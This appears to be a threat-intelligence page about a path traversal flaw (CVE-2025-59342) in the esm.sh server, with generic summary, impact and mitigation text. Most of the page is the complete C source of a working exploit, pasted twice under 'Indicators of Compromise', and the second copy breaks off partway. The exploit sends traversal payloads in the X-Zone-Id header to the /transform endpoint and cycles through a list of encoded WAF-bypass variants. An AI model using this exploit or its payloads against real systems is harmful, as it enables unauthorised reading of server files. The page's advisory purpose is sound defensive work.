Reconnecting to live updates…

esm-dev 136 - Path Traversal

Severity: mediumType: exploit

AI Analysis

Technical Summary

The esm-dev 136 vulnerability is a path traversal exploit identified in a web context, allowing attackers to manipulate file path inputs to access files outside the intended directory scope. This type of vulnerability typically arises when user-supplied input is not properly sanitized, enabling traversal sequences such as '../' to navigate the file system hierarchy. The exploit is implemented in C, indicating a low-level approach possibly targeting server-side components or native modules within web applications. Although no specific affected versions or patches are provided, the exploit's presence in Exploit-DB suggests it targets a known or emerging vulnerability. Path traversal can lead to unauthorized disclosure of sensitive files, including configuration files, source code, or user data, potentially compromising confidentiality and integrity. The medium severity rating reflects a balance between the exploit's impact and the complexity of successful exploitation, which may require specific conditions or partial authentication. No known active exploitation has been reported, but the availability of exploit code increases the risk of future attacks. Organizations should be aware of this threat, especially those operating web servers or applications that process file paths based on user input.

Potential Impact

For European organizations, the esm-dev 136 path traversal vulnerability could result in unauthorized access to sensitive internal files, leading to data breaches, exposure of credentials, or leakage of proprietary information. This can undermine confidentiality and potentially integrity if attackers modify files. The exploit could also facilitate further attacks, such as privilege escalation or lateral movement within networks. Industries with critical web infrastructure, such as finance, healthcare, and government, are particularly at risk due to the sensitivity of their data. Additionally, regulatory frameworks like GDPR impose strict data protection requirements, so exploitation could lead to significant legal and financial consequences. The lack of known active exploitation reduces immediate risk but does not eliminate the threat, especially as exploit code is publicly available. European organizations must consider the potential for targeted attacks exploiting this vulnerability to disrupt services or compromise data integrity.

Mitigation Recommendations

To mitigate the esm-dev 136 path traversal vulnerability, organizations should implement strict input validation and sanitization to reject or neutralize traversal sequences in file path parameters. Employing whitelisting approaches for allowed file paths and names can prevent unauthorized access. Web servers and applications should run with the least privilege necessary, restricting file system permissions to limit access to sensitive directories. Regularly audit and monitor file access logs for unusual patterns indicative of traversal attempts. Applying security patches or updates from vendors as they become available is critical, even though no patches are currently listed. Employing web application firewalls (WAFs) with rules to detect and block path traversal payloads can provide an additional layer of defense. Conducting security assessments and code reviews focused on file handling logic will help identify and remediate vulnerable code. Finally, educating developers about secure coding practices related to file system access is essential to prevent future vulnerabilities.

Affected Countries

Germany, France, United Kingdom, Netherlands, Italy, Spain, Poland

Indicators of Compromise

exploit-code: # Exploit Title: esm-dev 136 - Path Traversal # Date: 2025-07-11 # Exploit Author: Byte Reaper #Vendor Homepage: https://github.com/esm-dev/esm.sh # Software Link: https://github.com/esm-dev/esm.sh # CVE-2025-59342 - File : exploit.c - Date : 09/17/2025 - Target : esm-dev - Version: 136 - Target Endpoint : /transform - Target Header : X-Zone-Id - Vuln : - Run exploit : # gcc exploit.c argparse.c -o CVE-2025-59342 -lcurl # ./CVE-2025-59342 #include <curl/curl.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <time.h> #include <unistd.h> #include <sys/utsname.h> #define FULL_URL 2500 #define P_Y 2000 #define POST_DATA 9000 int flagPort = 0; int port = 80; int selectPort = -1; int verbose = 0; int code = 1; int found = 1; int cF = 0; int s = 0; int bY = 0; int sP = 0; const char* cookies = NULL; const char* payload = NULL; void exit64bit() { int n = 0; __asm__ volatile ( "mov $0x4A, %%rax\n\t" "mov $0x1, %%rdi\n\t" "syscall\n\t" "test %%rax, %%rax\n\t" "jz .aD\n\t" "mov $0x0, %[var]\n\t" "jmp .finish\n\t" ".aD:\n\t" "mov $0x1, %[var]\n\t" ".finish:\n\t" : [var] "+r" (n) : : "rax", "rdi" ); if (n == 0) { printf("\e[0;31m[-] sys_fsync syscall Faild.\n"); fflush(stdout); } else if (n == 1) { printf("[+] sys_fsync syscall Success.\n"); } __asm__ volatile ( "mov $0x0, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" : : : "rax", "rdi" ); } struct Mem { char* buffer; size_t len; }; size_t write_cb(void* ptr, size_t size, size_t nmemb, void* userdata) { size_t total = size * nmemb; struct Mem* m = (struct Mem*)userdata; char* tmp = realloc(m->buffer, m->len + total + 1); if (!tmp) return 0; m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } int checkLen(int len, char* buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); return 1; } else { printf("\e[0;34m[+] Len Is Not Long.\e[0m\n"); return 0; } return 0; } const char* payloads[] = { "..//..//modules//transform//c245626ef6ca0fd9ee37759c5fac606c6ec99daa//", "..../..../m.o.d.u.les/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/", "..\\/..\\/modules\\/transform\\/c245626ef6ca0fd9ee37759c5fac606c6ec99daa\\/", ".//.//m?odu?le?s/tran.sfo.rm/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/", "..%252f%252f..%252f%252fmodules%252f%252ftransform%252f%252fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%252f", "%252e%252e%252f%252f%252e%252e%252f%252fmodules%252f%252ftransform%252f%252fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%252f", "..%2f%2f..modules%2f%2ftransform%2f%2fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%2f", "%2e%2e%2f%2f%2e%2emodules%2f%2ftransform%2f%2fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%2f", "..%255c%255c..%255c%255cmodules%255c%255ctransform%255c%255cc245626ef6ca0fd9ee37759c5fac606c6ec99daa%255c%255c", "%252e%252e%255c%255c%252e%252e%255c%255cmodules%255c%255ctransform%255c%255cc245626ef6ca0fd9ee37759c5fac606c6ec99daa%255c%255c", "%u002e%u002e%u2215%u2215%u002e%u002e%u2215%u2215modules%u002e%u002etransform%u002e%u002ec245626ef6ca0fd9ee37759c5fac606c6ec99daa%u002e", "%u002e%u002e%u2216%u2216%u002e%u002e%u2216%u2216modules%u2216%u2216transform%u2216%u2216c245626ef6ca0fd9ee37759c5fac606c6ec99daa%u2216", "%e0%40%ae%e0%40%ae%e0%80%af%e0%80%af%e0%40%ae%e0%40%ae%e0%80%af%e0%80%afmodules%e0%80%af%e0%80%aftransform%e0%80%af%e0%80%afc245626ef6ca0fd9ee37759c5fac606c6ec99daa%e0%80%af", ".%00.//.%00.//modules//transform//c245626ef6ca0fd9ee37759c5fac606c6ec99daa/", "..;//..;//modules//transform//c245626ef6ca0fd9ee37759c5fac606c6ec99daa/", "%c0%2e%c0%2e%c0%af%c0%af%c0%2e%c0%2e%c0%af%c0%afmodules%c0%af%c0%aftransform%c0%af%c0%afc245626ef6ca0fd9ee37759c5fac606c6ec99daa%c0%af", NULL }; static void request(const char *baseurl) { CURL* curl = curl_easy_init(); const char *mes3 = "\e[0;34m[+] Create Object CURL Success.\n"; const char *mes4 = "\e[0;31m[-] Error Create Object CURL !\e[0m\n"; size_t len3 = strlen(mes3); size_t len4 = strlen(mes4); __asm__ volatile ( "cmp $0x0, %[curlO]\n\t" "je .donV\n\t" ".erD:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "mov %[msg], %%rsi\n\t" "mov %[len], %%rdx\n\t" "syscall\n\t" "jmp .finishC\n\t" ".donV:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "mov %[msg1], %%rsi\n\t" "mov %[len1], %%rdx\n\t" "syscall\n\t" "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" ".finishC:\n\t" : : [curlO] "r" (curl), [msg] "r" ((const char *)mes3), [len] "r" ((long)len3), [msg1] "r" ((const char*)mes4), [len1] "r" ((long)len4) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); struct Mem response; CURLcode res; response.buffer = NULL; response.len = 0; const char* mes5 = "\e[0;34m[+] Buffer Clean Success.\e[0m\n"; size_t len5 = strlen(mes5); __asm__ volatile ( "test %[buffer], %[buffer]\n\t" "jz L_print_clean\n\t" "L_continue:\n\t" "jmp L_done\n\t" "L_print_clean:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "movq %[msg13], %%rsi\n\t" "mov %[len13], %%rdx\n\t" "syscall\n\t" "L_done:\n\t" : : [buffer] "r" ((const char*)response.buffer), [msg13] "r" (mes5), [len13] "r" (len5) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); char full[FULL_URL]; if (flagPort != 0) { const char* mes8 = "\e[0;31m[-] Select Port is NULL !\e[0m\n"; size_t len8 = strlen(mes8); __asm__ volatile ( "test %[var22], %[var22]\n\t" "jnz L_finish\n\t" "mov $1, %%rax\n\t" "mov $1, %%rdi\n\t" "mov %[msg13], %%rsi\n\t" "mov %[len13], %%rdx\n\t" "syscall\n\t" "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" "L_finish:\n\t" : : [var22] "r" (selectPort), [msg13] "r" (mes8), [len13] "r" (len8) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); printf("\e[0;34m[+] Port Select : %d\e[0m\n", selectPort); int len1 = snprintf(full, FULL_URL, "%s:%d/transform", baseurl,selectPort); if (checkLen(len1, full, FULL_URL) == 1) { fprintf(stderr, "\e[0;31m[-] Error write base url !\e[0m\n"); exit64bit(); } printf("\e[0;34m[+] Write base URL success.\e[0m\n"); } else if (flagPort == 0) { printf("\e[0;34m[+] Auto port : %d\e[0m\n", port); int len2 = snprintf(full, FULL_URL, "%s:%d/transform", baseurl, port); if (checkLen(len2, full, FULL_URL) == 1) { fprintf(stderr, "\e[0;31m[-] Error write base url !\e[0m\n"); exit64bit(); } printf("\e[0;34m[+] Write base URL success.\e[0m\n"); } printf("[+] Base URL : %s\n", baseurl); printf("[+] Result full url : %s\n", full); char post[POST_DATA]; int len9 = snprintf(post, POST_DATA, "{\"filename\":\"cve.js\",\"lang\":\"js\",\"code\":\"console.log('Exploit!');\",\"importMap\":{\"imports\":{\"react\":\"https://esm.sh/react\",\"react-dom\":\"https://esm.sh/react-dom\"}},\"jsxImportSource\":\"react\",\"target\":\"es2022\",\"sourceMap\":\"external\",\"minify\":true}"); if (checkLen(len9, post, POST_DATA) == 1) { fprintf(stderr, "[-] Error write post data !\e[0m\n"); exit64bit(); } printf("\e[0;34m[+] Write Post data Success.\e[0m\n"); printf("\e[0;35m[+] Post data :===================================\e[0m\n"); printf("%s\n", post); printf("\e[0;32m[+] Size : %d\e[0m\n", POST_DATA); printf("\e[0;32m[+] Len : %zu\e[0m\n", strlen(post)); printf("\e[0;35m==================================================\e[0m\n"); curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); if (cF) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(post)); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); struct timespec rqtp, rmtp; rqtp.tv_sec = 1; rqtp.tv_nsec = 500000000; register long r10R asm("r10"); r10R = 0; printf("\e[0;33m[+] Sleep (%ld seconds) && (%ld nanoseconds)...\e[0m\n", rqtp.tv_sec, rqtp.tv_nsec); int ret; __asm__ volatile ( "syscall" : "=a"(ret) : "a"(0xE6), "D"((long)0), "S"((long)0), "d"(&rqtp), "r"(r10R) : "rcx", "r11", "memory" ); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist* headers = NULL; headers = curl_slist_append(headers, "User-Agent: Den/8.7.1"); headers = curl_slist_append(headers, "Accept: */*"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Content-Type: application/json"); headers = curl_slist_append(headers, "Referer: http://localhost:9999/"); if (s!=0) { printf("[+] Your Payload : %s\n", payload); printf("\e[0;33m[+] Checking payload...\n"); if (strstr(payload, "../") || strstr(payload, "..\\")) { printf("\e[0;36m[+] Detected path traversal \"../\" in payload.\n"); } else { printf("\e[0;31m[-] No path traversal detected. Please provide a valid payload.\n"); exit64bit(); } if (strstr(payload, "/transform")) { printf("\e[0;36m[+] Detected endpoint '/transform' in payload.\n"); } else { printf("\e[0;31m[-] Endpoint '/transform' not detected in payload!\n"); exit64bit();; } } else { headers = curl_slist_append(headers, "X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/"); //auto payload printf("[+] Auto payload ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/.\n"); } curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); if (verbose) { curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } res = curl_easy_perform(curl); curl_slist_free_all(headers); if (res == CURLE_OK) { printf("\e[1;36m[+] Request sent successfully\e[0m\n"); long httpcode; double timeT; double timeR; char* urlD = NULL; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpcode); curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &timeT); curl_easy_getinfo(curl, CURLINFO_REDIRECT_TIME, &timeR); curl_easy_getinfo(curl, CURLINFO_REDIRECT_URL, &urlD); printf("\e[0;32m[+] Delayed response : %f\e[0m\n", timeT); printf("\e[0;34m[+] TIME REDIRECT: %.1f\e[0m\n", timeR); if (urlD == NULL) { printf("\e[0;36m[+] Not REDIRECT Found.\e[0m\n"); } else { printf("\e[0;34m[+] REDIRECT To : %s\e[0m\n", urlD); } printf("\e[0;32m[+] HTTP CODE : %ld\n", httpcode); if (response.buffer != NULL) { printf("\e[0;35m=============================================== [RESPONSE] ===============================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[0;32m[+] Size Pointer response : %d\e[0m\n", sizeof(response.buffer)); printf("\e[0;32m[+] Len : %zu\e[0m\n", response.len); printf("\e[0;35m==========================================================================================================\e[0m\n"); } else { printf("\e[0;31m[-] Error show buffer : NULL response !\n"); __asm__ volatile ( "mov $0x0, %%rdi\n\t" "mov $0xE7, %%rax\n\t" "syscall\n\t" : : :"rax", "rdi" ); } printf("===========================================================================================================\n"); if (httpcode >= 200 && httpcode < 300) { const char* words[] = { "Exploit!", "cve.js", "mjs", "console", "code", "map", "AAAA", "IAAI", "names", NULL }; printf("\e[0;32m[+] Http code (200 - 300)\e[0m\n"); printf("\e[0;33m[+] Check Word in response...\e[0m\n"); for (int u = 0; words[u] != NULL; u++) { code = 1; if (strstr(response.buffer, words[u]) != NULL) { printf("[+] Word found in response : %s\n", words[u]); __asm__ volatile ( "mov $0x0, %[var12]\n\t" : [var12] "=r" (found) : : ); break; } } if (found == 0) { printf("\e[0;36m[+] Words were found in the server's response, indicating that the exploitation was likely successful.\e[0m\n"); } const char *mes11 = "\e[0;31m[-] Not found words in response !\e[0m\n"; size_t len11 = strlen(mes11); __asm__ volatile ( "test %[var11], %[var11]\n" "jnz notZero\n\t" "jmp finish11\n\t" "notZero:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "movq %[size11], %%rsi\n\t" "mov %[len11], %%rdx\n\t" "syscall\n\t" "finish11:\n\t" : : [var11] "r" ((int)found), [size11] "r" ((const char *)mes11), [len11] "r" (len11) :"rax", "rdi", "rsi", "rdx", "r11", "rcx", "memory" ); } else { printf("\e[0;31m[-] Http code Not range (200 - 300)\e[0m\n"); printf("\e[0;31m[-] Please check url and port.\e[0m\n"); } printf("\e[0;35m[+] Result Exploit :\e[0m\n"); if (code == 1 && found == 0) { printf("\e[0;36m[+] HTTP code positive and expected word found: Exploit succeeded (CVE-2025-59342).\e[0m\n"); } else if (code == 1 && found != 0) { printf("\e[0;36m[+] HTTP code positive but expected word not found: Partial success (CVE-2025-59342).\e[0m\n"); } else if (code != 1 && found == 0) { printf("\e[0;31m[-] HTTP code negative but word found: Unexpected result (CVE-2025-59342).\e[0m\n"); } else { printf("\e[0;31m[-] Exploitation did not succeed.\e[0m\n"); } } else { printf("\e[0;31m[-] Error Send Request !\e[0m\n"); printf("\e[0;31m[-] Error : %s\n", curl_easy_strerror(res)); exit64bit(); } curl_easy_cleanup(curl); free(response.buffer); } void bypass(const char* urlB) { struct Mem responseBypass; responseBypass.buffer = NULL; responseBypass.len = 0; const char* mes14 = "\e[0;34m[+] Buffer Clean Success.\e[0m\n"; size_t len14 = strlen(mes14); __asm__ volatile ( "test %[buffer1], %[buffer1]\n\t" "jz L_print_clean1\n\t" "L_continue1:\n\t" "jmp L_done1\n\t" "L_print_clean1:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "movq %[msg14], %%rsi\n\t" "mov %[len14], %%rdx\n\t" "syscall\n\t" "L_done1:\n\t" : : [buffer1] "r" ((const char*)responseBypass.buffer), [msg14] "r" (mes14), [len14] "r" (len14) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); CURL* curl = curl_easy_init(); if (curl == NULL) { fprintf(stderr,"[-] Error Create Object CURL !\n"); exit64bit(); } CURLcode res1; char postData[POST_DATA]; int len15 = snprintf(postData, POST_DATA, "{\"filename\":\"cve.js\",\"lang\":\"js\",\"code\":\"console.log('Exploit!');\",\"importMap\":{\"imports\":{\"react\":\"https://esm.sh/react\",\"react-dom\":\"https://esm.sh/react-dom\"}},\"jsxImportSource\":\"react\",\"target\":\"es2022\",\"sourceMap\":\"external\",\"minify\":true}"); if (checkLen(len15, postData, POST_DATA) == 1) { fprintf(stderr, "[-] Error write post data !\e[0m\n"); exit64bit(); } if (curl) { for (int i = 0; payloads[i] != NULL; i++) { struct curl_slist* h = NULL; char fullURL[FULL_URL]; snprintf(fullURL, FULL_URL, "%s/transform", urlB); char hLine[1024]; snprintf(hLine, 1024, "X-Zone-Id: %s", payloads[i]); h = curl_slist_append(h, hLine); h = curl_slist_append(h, "User-Agent: Den/8.7.1"); h = curl_slist_append(h, "Content-Type: application/json"); curl_easy_setopt(curl, CURLOPT_URL, fullURL); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); if (cF) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(postData)); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseBypass); struct timespec rqtp, rmtp; rqtp.tv_sec = 1; rqtp.tv_nsec = 500000000; register long r10R asm("r10"); r10R = 0; printf("\e[0;33m[+] Sleep (%ld seconds) && (%ld nanoseconds)...\e[0m\n", rqtp.tv_sec, rqtp.tv_nsec); int ret; __asm__ volatile ( "syscall" : "=a"(ret) : "a"(0xE6), "D"((long)0), "S"((long)0), "d"(&rqtp), "r"(r10R) : "rcx", "r11", "memory" ); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); res1 = curl_easy_perform(curl); curl_slist_free_all(h); if (res1 == CURLE_OK) { long httpC; printf("---------------------------------------------------------------------------------------------------\n"); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("[+] Payload Test : %s\n", payloads[i]); curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpC); printf("[+] Http code : %ld\n", httpC); if (responseBypass.buffer != NULL) { printf("\e[0;35m=============================================== [RESPONSE] ===============================================\e[0m\n"); printf("%s\n", responseBypass.buffer); printf("\e[0;35m==========================================================================================================\e[0m\n"); if (httpC == 501 || strstr(responseBypass.buffer, "Unsupported method") != NULL) { printf("[-] Please check target URL, The server does not support the POST request.\n"); } else { __asm__ volatile("nop"); } } else { printf("[-] Response NULL !\n"); exit64bit(); } if (httpC >= 200 && httpC < 300) { if (code == 0) { printf("[+] Bypass Waf Success.\n"); } else { printf("[-] The server's response is still negative !\n"); } if (responseBypass.buffer != NULL) { printf("\e[0;35m=============================================== [RESPONSE] ===============================================\e[0m\n"); printf("%s\n", responseBypass.buffer); printf("%zu\n", responseBypass.len); printf("\e[0;35m==========================================================================================================\e[0m\n"); free(responseBypass.buffer); responseBypass.buffer = NULL; responseBypass.len = 0; } else { printf("[-] Response NULL (Bypass WAF) !\n"); exit64bit(); } } else { printf("[-] Http code Not 200-300 !\n"); printf("[+] Waf detect OR check input base url / port.\n"); } } } } else { printf("[-] Error Send Request !\n"); } curl_easy_cleanup(curl); } int main(int argc, const char** argv) { printf("\e[1;37m+-----------------------+\e[0m\n"); printf("\e[1;37m| Author : Byte Reaper |\e[0m\n"); printf("\e[1;37m| CVE : CVE-2025-59342 |\e[0m\n"); printf("\e[1;37m| Vuln : Path Traversal |\e[0m\n"); printf("\e[1;37m+-----------------------+\e[0m\n"); printf("\e[1;30m------------------------------------------------------------------------\e[0m\n"); printf("[+] Check Your os...\n"); struct utsname os; __asm__ volatile ( "mov %0, %%rdi\n\t" "mov $0x3F, %%rax\n\t" "syscall\n\t" : : "r"(&os) : "rax", "rdi" ); printf("\e[0;36m[+] System Name: %s\e[0m\n", os.sysname); printf("\e[0;36m[+] Machine : %s\e[0m\n", os.machine); if (strstr(os.sysname, "Linux") != NULL) { printf("\e[0;36m[+] Linux OS, Check Machine architecture...\e[0m\n"); } else { printf("[-] OS Not Linux 64 bit (%s),Exit...\e[0m\n", os.sysname); printf("[+] Please RUN exploit in linux.\n"); exit64bit(); } if (strstr(os.machine, "x86_64") != NULL) { printf("\e[0;36m[+] Machine architecture is 64 bit, run exploit...\e[0m\n"); } else { printf("[-] OS Not architecture 64 bit (%s), Exit...\e[0m\n", os.machine); exit64bit(); } const char* url = NULL; struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &url, "Enter Target URL."), OPT_INTEGER('p', "port", &selectPort, "Enter Target PORT."), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode."), OPT_STRING('c', "cookies", &cookies, "Enter File cookies."), OPT_STRING('k', "payload", &payload, "Enter Payload."), OPT_BOOLEAN('b', "bypass", &sP, "Arg Bypass WAF."), OPT_END() }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!url) { printf("\e[0;31m[-] Please Enter Target IP OR URl !\e[0m\n"); printf("\e[0;31m[!] Exemple : ./CVE-2025-59342 -u http://TARGET\e[0m\n"); __asm__ volatile ( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "1:\n\t" "syscall\n\t" : : : "rax", "rdi", "rsi" ); } if (verbose) { __asm__ volatile ( "add $0x1, %[var6]\n\t" : [var6] "+r" (verbose) : : ); } else { __asm__ volatile ( "mov $0x0, %[var7]\n\t" : [var7] "=r" (verbose) : : ); } flagPort = (selectPort != -1); if (payload != NULL) { s = 1; } else { s = 0; } if (sP) { bypass(url); } else { request(url); } printf("\e[0;36m[+] Finish Script.\n"); __asm__ volatile ("mov $0x3C, %%rax\n\t" "mov $0x0, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); }

esm-dev 136 - Path Traversal

Severity: medium

Type: exploit

esm-dev 136 - Path Traversal

Technical Summary

Potential Impact

Mitigation Recommendations

Affected Countries

Germany, France, United Kingdom, Netherlands, Italy, Spain, Poland

Indicators of Compromise

exploit-code: # Exploit Title: esm-dev 136 - Path Traversal # Date: 2025-07-11 # Exploit Author: Byte Reaper #Vendor Homepage: https://github.com/esm-dev/esm.sh # Software Link: https://github.com/esm-dev/esm.sh # CVE-2025-59342 - File : exploit.c - Date : 09/17/2025 - Target : esm-dev - Version: 136 - Target Endpoint : /transform - Target Header : X-Zone-Id - Vuln : - Run exploit : # gcc exploit.c argparse.c -o CVE-2025-59342 -lcurl # ./CVE-2025-59342 #include <curl/curl.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <time.h> #include <unistd.h> #include <sys/utsname.h> #define FULL_URL 2500 #define P_Y 2000 #define POST_DATA 9000 int flagPort = 0; int port = 80; int selectPort = -1; int verbose = 0; int code = 1; int found = 1; int cF = 0; int s = 0; int bY = 0; int sP = 0; const char* cookies = NULL; const char* payload = NULL; void exit64bit() { int n = 0; __asm__ volatile ( "mov $0x4A, %%rax\n\t" "mov $0x1, %%rdi\n\t" "syscall\n\t" "test %%rax, %%rax\n\t" "jz .aD\n\t" "mov $0x0, %[var]\n\t" "jmp .finish\n\t" ".aD:\n\t" "mov $0x1, %[var]\n\t" ".finish:\n\t" : [var] "+r" (n) : : "rax", "rdi" ); if (n == 0) { printf("\e[0;31m[-] sys_fsync syscall Faild.\n"); fflush(stdout); } else if (n == 1) { printf("[+] sys_fsync syscall Success.\n"); } __asm__ volatile ( "mov $0x0, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" : : : "rax", "rdi" ); } struct Mem { char* buffer; size_t len; }; size_t write_cb(void* ptr, size_t size, size_t nmemb, void* userdata) { size_t total = size * nmemb; struct Mem* m = (struct Mem*)userdata; char* tmp = realloc(m->buffer, m->len + total + 1); if (!tmp) return 0; m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } int checkLen(int len, char* buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); return 1; } else { printf("\e[0;34m[+] Len Is Not Long.\e[0m\n"); return 0; } return 0; } const char* payloads[] = { "..//..//modules//transform//c245626ef6ca0fd9ee37759c5fac606c6ec99daa//", "..../..../m.o.d.u.les/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/", "..\\/..\\/modules\\/transform\\/c245626ef6ca0fd9ee37759c5fac606c6ec99daa\\/", ".//.//m?odu?le?s/tran.sfo.rm/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/", "..%252f%252f..%252f%252fmodules%252f%252ftransform%252f%252fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%252f", "%252e%252e%252f%252f%252e%252e%252f%252fmodules%252f%252ftransform%252f%252fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%252f", "..%2f%2f..modules%2f%2ftransform%2f%2fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%2f", "%2e%2e%2f%2f%2e%2emodules%2f%2ftransform%2f%2fc245626ef6ca0fd9ee37759c5fac606c6ec99daa%2f", "..%255c%255c..%255c%255cmodules%255c%255ctransform%255c%255cc245626ef6ca0fd9ee37759c5fac606c6ec99daa%255c%255c", "%252e%252e%255c%255c%252e%252e%255c%255cmodules%255c%255ctransform%255c%255cc245626ef6ca0fd9ee37759c5fac606c6ec99daa%255c%255c", "%u002e%u002e%u2215%u2215%u002e%u002e%u2215%u2215modules%u002e%u002etransform%u002e%u002ec245626ef6ca0fd9ee37759c5fac606c6ec99daa%u002e", "%u002e%u002e%u2216%u2216%u002e%u002e%u2216%u2216modules%u2216%u2216transform%u2216%u2216c245626ef6ca0fd9ee37759c5fac606c6ec99daa%u2216", "%e0%40%ae%e0%40%ae%e0%80%af%e0%80%af%e0%40%ae%e0%40%ae%e0%80%af%e0%80%afmodules%e0%80%af%e0%80%aftransform%e0%80%af%e0%80%afc245626ef6ca0fd9ee37759c5fac606c6ec99daa%e0%80%af", ".%00.//.%00.//modules//transform//c245626ef6ca0fd9ee37759c5fac606c6ec99daa/", "..;//..;//modules//transform//c245626ef6ca0fd9ee37759c5fac606c6ec99daa/", "%c0%2e%c0%2e%c0%af%c0%af%c0%2e%c0%2e%c0%af%c0%afmodules%c0%af%c0%aftransform%c0%af%c0%afc245626ef6ca0fd9ee37759c5fac606c6ec99daa%c0%af", NULL }; static void request(const char *baseurl) { CURL* curl = curl_easy_init(); const char *mes3 = "\e[0;34m[+] Create Object CURL Success.\n"; const char *mes4 = "\e[0;31m[-] Error Create Object CURL !\e[0m\n"; size_t len3 = strlen(mes3); size_t len4 = strlen(mes4); __asm__ volatile ( "cmp $0x0, %[curlO]\n\t" "je .donV\n\t" ".erD:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "mov %[msg], %%rsi\n\t" "mov %[len], %%rdx\n\t" "syscall\n\t" "jmp .finishC\n\t" ".donV:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "mov %[msg1], %%rsi\n\t" "mov %[len1], %%rdx\n\t" "syscall\n\t" "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" ".finishC:\n\t" : : [curlO] "r" (curl), [msg] "r" ((const char *)mes3), [len] "r" ((long)len3), [msg1] "r" ((const char*)mes4), [len1] "r" ((long)len4) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); struct Mem response; CURLcode res; response.buffer = NULL; response.len = 0; const char* mes5 = "\e[0;34m[+] Buffer Clean Success.\e[0m\n"; size_t len5 = strlen(mes5); __asm__ volatile ( "test %[buffer], %[buffer]\n\t" "jz L_print_clean\n\t" "L_continue:\n\t" "jmp L_done\n\t" "L_print_clean:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "movq %[msg13], %%rsi\n\t" "mov %[len13], %%rdx\n\t" "syscall\n\t" "L_done:\n\t" : : [buffer] "r" ((const char*)response.buffer), [msg13] "r" 